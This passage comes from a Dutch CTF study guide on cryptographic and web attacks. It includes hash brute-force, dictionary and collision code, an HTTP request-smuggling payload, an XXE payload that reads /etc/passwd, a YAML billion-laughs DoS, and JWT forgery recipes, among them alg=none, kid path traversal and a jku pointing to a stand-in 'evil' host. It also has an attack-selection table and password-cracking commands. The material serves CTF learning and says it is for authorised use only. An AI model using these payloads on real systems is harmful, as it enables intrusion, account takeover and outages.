Waarom werkt het soms niet?

- Strikte JSON-parser ziet de padding-bytes als ongeldig.
- Server gebruikt HMAC ipv $H(\text{key}\|\text{msg})$.
- Server gebruikt SHA-3.
- Server checkt lengte van body.

Wat betekent "Invalid JSON"?

- Server gebruikt waarschijnlijk `sha256(secret||body)`.
- Parser is streng. Je kan dan proberen om de padding in een string-veld te verbergen (bv. JSON-string).

16 Hash cracking en preimage

16.1 Preimage brute force

Gedachtegang

Als de inputruimte klein is (pincode, korte string), kan je gewoon alles proberen. Voor 6 cijfers is dat $10^6 = 1$ miljoen, prima te doen. Voor 8 tekens letters is het al te veel.

```
import hashlib, itertools

def brute_preimage(target_hex, charset="0123456789", length=6, algo="sha256"):
    h = getattr(hashlib, algo)
    for combo in itertools.product(charset, repeat=length):
        candidate = "".join(combo).encode()
        if h(candidate).hexdigest() == target_hex:
            return candidate
    return None
```

16.2 Dictionary / woordlijst

Gedachtegang

Voor wachtwoorden gebruik je rockyou.txt of een kleinere lijst. Werkt alleen bij onsalted hashes. Met salt wordt het veel moeilijker.

```
import hashlib

def dict_crack(target_hex, wordlist_path, algo="sha256"):
    h = getattr(hashlib, algo)
    with open(wordlist_path, "rb") as f:
        for line in f:
            pw = line.strip()
            if h(pw).hexdigest() == target_hex:
                return pw
    return None
```

16.3 Rainbow tables

Gedachtegang

Een rainbow table is een vooraf berekende tabel van hash → plaintext. Werkt alleen bij onsalted hashes. Voor CTF: gebruik online databases (crackstation) of een lokale tool.

16.4 Collision / birthday

Gedachtegang

Een collision is 2 verschillende inputs met dezelfde hash. De birthday attack zegt: na $2^{m/2}$ pogingen heb je er waarschijnlijk één. Voor MD5 is dat 2^{64}, te veel. Voor een 32-bit hash is het $2^{16} = 65536$, prima te doen.

```
import hashlib, os

def find_collision(prefix, suffix_len=8, algo="md5"):
    h = getattr(hashlib, algo)
    seen = {}
    while True:
        candidate = prefix + os.urandom(suffix_len).hex()
        digest = h(candidate.encode()).hexdigest()
        if digest in seen and seen[digest] != candidate:
            return seen[digest], candidate, digest
        seen[digest] = candidate
```

16.5 Hash-ketting voorspellen

Gedachtegang

Als de "volgende code" = `sha256(huidige code)`, dan is de volgende code voorspelbaar als je de huidige kent. Dit is de klassieke "hash chain"-fout.

```
import hashlib

def next_code(current_hex):
    return hashlib.sha256(bytes.fromhex(current_hex)).hexdigest()
```

16.6 Hash soorten herkennen

Lengte / prefix	Hashtype
32 hex	16 bytes = MD5
40 hex	20 bytes = SHA-1
56 hex	28 bytes = SHA-224
64 hex	32 bytes = SHA-256
96 hex	48 bytes = SHA-384
128 hex	64 bytes = SHA-512
`$2a$`/`$2b$`/`$2y$`	bcrypt
`$argon2`	argon2
`$6$`	sha512crypt
`$5$`	sha256crypt

17 Parser-aanvallen (JSON, HTTP, XML, YAML)

Gedachtegang

Verschillende parsers lezen dezelfde bytes anders. Dat verschil is vaak de hele aanval. Als de signature over interpretatie A gaat en de server gebruikt interpretatie B, dan kan je soms dingen smokkelen.

17.1 JSON duplicate keys

Gedachtegang

Python neemt de LAATSTE duplicate key. Sommige servers nemen de EERSTE. Als jij `"role": "user"` tekent, maar de server leest `"role": "admin"`, dan ben je binnen.

```
# Tekent "role": "user":
body = '{"action":"view","role":"user","role":"admin"}'

# Sommige parsers zien: role = "admin" (laatste)
# Andere zien: role = "user" (eerste)
# De signature gaat over de bytes, dus de vraag is:
# welke interpretatie gebruikt de server?
```

17.2 JSON spaties / key-volgorde

Gedachtegang

Als de server de EXACTE bytes signeert, dan werkt alleen dezelfde serialisatie. Test:

- Origineel (raw)
- Compact (geen spaties)
- Sorted keys
- Met/zonder newline
- `ensure_ascii` True/False

17.3 HTTP request smuggling

Gedachtegang

Als een frontend en backend anders omgaan met Content-Length en Transfer-Encoding, kan je een request "smokkelen" die de backend ziet maar de frontend niet.

Varianten:

- **CL.TE**: frontend gebruikt Content-Length, backend TE.
- **TE.CL**: frontend gebruikt TE, backend CL.
- **TE.TE**: beide TE maar anders.

Payload (CL.TE):

```
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target
```

17.4 XML entities / XXE

Gedachtegang

XML-parsers kunnen external entities laden. Als de server dat toestaat, kan je bestanden lezen of SSRF doen.

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

17.5 YAML anchors / aliases

Gedachtegang

YAML heeft anchors (&) en aliases (*). Je kan een object "hergebruiken" om een "billion laughs"-aanval te doen (DoS) of om een parser te verwarren.

```
a: &x ["a","a","a","a","a","a","a","a","a","a"]
b: &y [*x,*x,*x,*x,*x,*x,*x,*x,*x,*x]
c: &z [*y,*y,*y,*y,*y,*y,*y,*y,*y,*y]
d: [*z,*z,*z,*z,*z,*z,*z,*z,*z,*z]
```

17.6 Content-Type verschillen

Gedachtegang

Sommige servers parsen de body op basis van Content-Type. Als je `application/json` stuurt maar de body is form-encoded, krijg je soms een andere code path. Test:

- `application/json`
- `application/x-www-form-urlencoded`
- `multipart/form-data`
- `text/plain`
- `application/xml`

18 Beslissingstabel: wanneer welke attack

Gedachtegang

Dit is de tabel die je bij elke opgave als eerste opent. Lees de linkerkolom, zoek je situatie, kijk rechts wat je moet proberen. Werkt iets niet, ga terug en zoek een andere rij die ook past.

Situatie	Attack
signature = sha256(secret || body)	length extension
signature = HMAC(secret, body)	secret brute force / wordlist
Signature klopt niet, inhoud "hetzelfde"	raw bytes/serialisatie check
JSON duplicate keys	parser differential proberen
JWT alg=none	forged token zonder signature
JWT zwakke HMAC	secret brute force
JWT RS256 + publieke key bekend	algorithm confusion
JWT kid parameter	path traversal / SQLi
JWT jku/x5u	SSRF / foreign key
Zelfde nonce/key bij stream cipher	XOR-keystream recovery
ECB herhaalde blokken	ECB pattern attack
CBC padding error	padding oracle
CBC bit-flip mogelijk	CBC bit-flipping
Kleine key/seed/pincode	brute force
Dubbele encryptie korte keys	meet-in-the-middle

Situatie	Attack
Custom hash met XOR/rotate	inverse functie bouwen
Custom hash met AND/OR	z3 of brute force
Hash met kleine inputruimte	preimage brute force
Hash zonder salt	rainbow tables / dictionary
Collision nodig	birthday attack
Hash chain (sha256(prev))	volgende voorspellen
LCG / PRNG	state voorspellen / seed BF
RSA kleine e	cube root attack
RSA gedeelde factor	GCD
RSA kleine n	factoreren
Loginformulier	SQLi/NoSQLi/default creds/BF
?file=	LFI/path traversal
?page=	LFI/RFI
?id=	IDOR
?next=/redirect	open redirect
?url= / ?link=	SSRF
User input in template	SSTI
XML input	XXE
YAML input	anchors/aliases, DoS
Upload	webshell/bypass
Serialized object	insecure deserialization
JSON extra veld	mass assignment
JS __proto__	prototype pollution
Coupon/balance/vote	race condition
CORS Allow-Origin: *	CORS misconfig
HTTP CL+TE	request smuggling
Cache headers	cache poisoning
Binary crash	buffer overflow
Binary rare output	format string
Binary anti-debug	patches
PCAP	volg TCP-stream, extract files
Bestand zonder extensie	file, binwalk, strings, foremost

19 Gedachtegang oefening 1: SignedSealed

19.1 Wat doet het script?

1. Challenge ophalen: message + signature.
2. Baseline testen: origineel, compact, sorted-keys.
3. Tamperen: role=admin, extra is_admin, duplicate keys.
4. Secret raden: leeg/zwak, voor `sha256(secret+msg)` en HMAC.
5. Length extension: als `sha256(secret || msg)`, plak extra data achteraan met hashpumpy.

19.2 Gedachtegang stap voor stap

Stap 1: Waarom baseline testen?
Je wil weten of de server de EXACTE bytes signeert. Als origineel werkt maar compact/sorted niet, dan is dat zo. Dat vertelt je: nooit herserialiseren, altijd raw doorsturen.

Stap 2: Waarom tamperen?
Misschien is de signature-check gewoon kapot, of de parser accepteert extra velden. Als "role=admin" met de originele signature werkt, dan ben je klaar. Meestal werkt het niet, maar het kost 2 seconden.

Stap 3: Waarom duplicate keys?
Python neemt de LAATSTE duplicate key. Sommige servers nemen de EERSTE. Als de signature over interpretatie A gaat en de server gebruikt interpretatie B, dan kan je soms "role=user" tekenen maar "role=admin" laten lezen.

Stap 4: Waarom secret raden?
Soms is het secret gewoon "secret", "key", "admin" of leeg. Probeer een mini-woordlijst. Werkt bijna nooit, maar is gratis. Test ZOWEL `sha256(secret+msg)` ALS `HMAC(secret,msg)`.

Stap 5: Waarom length extension?
Als het schema `sha256(secret || msg)` is, dan kan je met de bekende hash + lengte van secret een nieuwe hash berekenen voor `msg || padding || extra`. Dit werkt ALLEEN bij Merkle-Damgard hashes (MD5, SHA1, SHA256) als MAC. Bij HMAC werkt het NIET. Bij SHA-3 werkt het NIET.

19.3 Wat betekent elke uitkomst?

- Origineel werkt, compact/sorted niet: → server signeert exacte bytes; stuur raw door.
- role=admin faalt: → signature is echt nodig.
- `sha256(secret+msg)` mogelijk: → length extension proberen.
- HMAC mogelijk: → secret brute force / woordlijst.
- "Invalid JSON" bij length extension: → strikte parser; schema bevestigd als `sha256(secret||body)`, maar parser laat extra data niet door.
- Duplicate keys geven ander gedrag: → parser differential; probeer beide interpretaties.

19.4 Aanvalskeuze-tabel

Observatie	Wat proberen
Origineel werkt, rest niet	raw bytes doorsturen
role=admin faalt	signature echt nodig
sha256(secret+msg) mogelijk	length extension
HMAC mogelijk	secret brute force
"Invalid JSON" bij ext.	strikte parser; schema ok
Duplicate keys ander gedrag	parser differential

19.5 Wat je nog kan proberen (als het niet lukt)

- Andere Content-Type (`text/plain`, form-urlencoded).
- Body met trailing newline.
- Body met spaties (compact vs mooi).
- Body met andere key-volgorde.
- Body als array ipv object.
- Body met Unicode ipv ASCII.
- Body met \u-escapes.
- Body met dubbele "role"-keys in beide volgordes.
- Hash-lengte brute-forcen 0..128 ipv 0..64.
- hashpumpy met andere append (bv. hele JSON-object).
- Als de server een foutmelding geeft met "length" of "key", dan heb je een hint over de key-lengte.

20 Gedachtegang oefening 2: JWT alg=none

20.1 Wat doet het script?

1. Login als guest → JWT.
2. Decodeer header, payload, signature.
3. Forge: nieuw token met `"alg": "none"` en `"role": "admin"`.
4. Stuur naar `/admin` met `Authorization: Bearer <token>`.

20.2 Gedachtegang stap voor stap

Stap 1: Waarom eerst inloggen?
Je wil een ECHT token zien om te weten hoe de server het formaat verwacht (header-velden, claims, vervaltijd,

rol). Een JWT bestaat uit 3 stukken: `header.payload.signature`, alle drie base64url.

Stap 2: Waarom decoderen?
De header vertelt je welk algoritme gebruikt wordt (HS256, RS256, none). De payload vertelt je welke claims er zijn (user, role, exp). Je wil weten of `role=guest` in de payload zit en of je die kan aanpassen.

Stap 3: Waarom alg=none proberen?
Sommige servers vertrouwen het "alg"-veld blind. Als ze "none" toestaan, slaan ze de signature-check over. Dan hoef je geen secret te kennen. Dit is een klassieke fout en werkt nog verrassend vaak in CTF's.

Stap 4: Waarom /admin?
Dat is meestal de beschermde pagina. Als je daar komt met `role=admin`, heb je gewonnen.

20.3 Wat betekent elke uitkomst?

- 200 op `/admin`: → server accepteert alg=none. Klaar.
- 401/403: → server checkt signature of blokkeert none. Ga dan voor weak HMAC-secret (woordlijst) of algorithm confusion (RS256 → HS256).
- "invalid token": → formaat klopt niet; check base64url padding.

20.4 Wat je nog kan proberen (als alg=none faalt)

1. **Zwakke HMAC-secret:**
   - `hashcat -m 16500 token.txt wordlist.txt`
   - `jwt_tool token.txt -C -d wordlist.txt`
2. **Algorithm confusion (RS256 → HS256):**
   - Haal de publieke key op (`/jwks.json`, `/public.pem`).
   - Teken een HS256-token met de publieke key als secret.
3. **kid injection:**
   - `{"alg": "HS256", "kid": "../../dev/null"}`
   - `{"alg": "HS256", "kid": "/proc/self/environ"}`
4. **jku / x5u SSRF:**
   - `{"alg": "RS256", "jku": "https://evil/jwks.json"}`
5. **Claim-trucs:**
   - `"role": "admin"`
   - `"is_admin": true`
   - `"admin": true`
   - `"sub": "admin"`
   - `"exp": 9999999999`
   - dubbele "role"-keys
6. **Token in andere header:**
   - `Authorization: Bearer <token>`
   - `X-Auth-Token: <token>`
   - `Cookie: token=<token>`

21 Snelle eindchecklist

Gedachtegang

Loop deze lijst af bij ELKE opgave voordat je "het werkt niet" zegt. Negen van de tien keer ben je één regel vergeten.

☐ Weet ik de exacte bytes die gesigneerd worden?
☐ Is het HMAC of sha256(secret || msg)?
☐ Is de key/seed klein?
☐ Is er nonce/key hergebruik?
☐ Zijn er herhaalde blokken (ECB)?
☐ Is de parser streng of tolerant?
☐ Zijn duplicate JSON keys mogelijk?

- ☐ Is het een JWT met alg=none of zwakke secret?
- ☐ Kan ik de custom hash stap voor stap omkeren?
- ☐ Heb ik een round-trip test gedaan?
- ☐ Stuur ik raw bytes door waar nodig?
- ☐ Heb ik de Content-Type al gevarieerd?
- ☐ Heb ik de HTTP-methode al gevarieerd (GET/POST/PUT)?
- ☐ Heb ik naar foutmeldingen gekeken?
- ☐ Heb ik robots.txt / .git / .env geprobeerd?
- ☐ Heb ik default creds geprobeerd?
- ☐ Heb ik de binary op strings/checksec gedraaid?
- ☐ Heb ik de PCAP-streams gevolgd?
- ☐ Heb ik de flag in het juiste formaat (flag{...})?

Opmerking

Gebruik dit materiaal alleen op je eigen lab-omgeving of op een target waarvoor je expliciet toestemming hebt (bv. een CTF-challenge).